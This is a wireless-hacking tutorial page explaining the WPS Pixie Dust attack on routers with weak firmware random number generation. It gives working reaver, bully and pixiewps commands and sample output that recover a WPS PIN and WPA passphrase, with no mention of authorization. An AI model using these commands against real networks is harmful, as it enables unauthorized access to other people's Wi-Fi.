# WPS Pixie Dust Attack with Reaver and Pixiewps

- **URL:** https://hackindex.io/platforms/wireless/exploitation/wps-pixie-dust-attack-with-reaver-and-pixiewps
- **Path:** Wireless > Exploitation
- **Up:** [Exploitation](https://hackindex.io/platforms/wireless/exploitation.md)
- **Published:** 2026-03-17
- **Updated:** 2026-03-17

The Pixie Dust attack recovers the WPS PIN offline by exploiting weak random number generation in the AP firmware. During the WPS exchange the AP sends two nonces (E-S1 and E-S2) that should be random but in vulnerable firmware are derived from predictable values. pixiewps uses the captured nonces and hash values to compute the PIN offline in seconds, making it dramatically faster than the online brute-force approach. Only one WPS exchange is needed.

Vulnerable chipsets known to be affected:

- Ralink (most common, high success rate)
- Realtek (many consumer routers)
- Broadcom (some implementations)

Check the vendor from wash output before attempting. If the chipset is not in this list, the AP likely uses proper random number generation and the attack will not work.

## WPS Pixie Dust Attack with Reaver

Reaver has Pixie Dust integrated via the `-K` flag. It captures the necessary values from the exchange and passes them to pixiewps automatically:

```bash
reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv -K 1
# [+] Waiting for beacon from AA:BB:CC:DD:EE:FF
# [+] Associated with AA:BB:CC:DD:EE:FF
# [+] Starting Pixie WPS attack
# [+] Received M1 message
# [+] Received M3 message
# [Pixiewps] WPS pin: 12345670
# [+] WPS PIN: '12345670'
# [+] WPA PSK: 'MyWifiPassword'
# [+] AP SSID: 'TargetNetwork'
```

If the AP is vulnerable, the PIN and WPA passphrase are recovered within seconds after a single exchange. If pixiewps returns no result, the AP firmware is not using predictable nonces and the attack does not apply: fall back to the PIN brute-force approach.

## Run Pixie Dust with bully

bully is an alternative WPS tool that some find more reliable against certain APs. It also supports Pixie Dust:

```bash
bully wlan0mon -b AA:BB:CC:DD:EE:FF -d -v 3
```

`-d` enables Pixie Dust mode. `-v 3` enables verbose output. bully handles some APs that reaver fails to associate with, particularly those with strict WPS state machine implementations.

## Run pixiewps Manually

If you have captured the WPS exchange separately and want to run pixiewps directly with the extracted values:

```bash
pixiewps -e <PKe> -r <PKr> -s <E-Hash1> -z <E-Hash2> -a <AuthKey> -n <E-Nonce>
```

The values for `PKe`, `PKr`, `E-Hash1`, `E-Hash2`, `AuthKey`, and `E-Nonce` are printed in reaver verbose output when run with `-vv`. This manual approach is useful when reaver's integrated Pixie Dust mode fails but the exchange completes successfully.

## Handle Association Failures

If reaver fails to associate with the AP, try specifying the channel and adding a small delay:

```bash
reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv -K 1 -c 6 -d 2
```

Some APs require the interface to be on the exact AP channel before sending the initial association request. If association still fails, check that no other process is managing the interface and that monitor mode is confirmed active on the correct channel.

## References

- [reaver-wps-fork-t6x on GitHub](https://github.com/t6x/reaver-wps-fork-t6x) - Reaver Pixie Dust flag reference and bully integration
- [wiire-a/pixiewps on GitHub](https://github.com/wiire-a/pixiewps) - pixiewps manual usage and supported vulnerable firmware list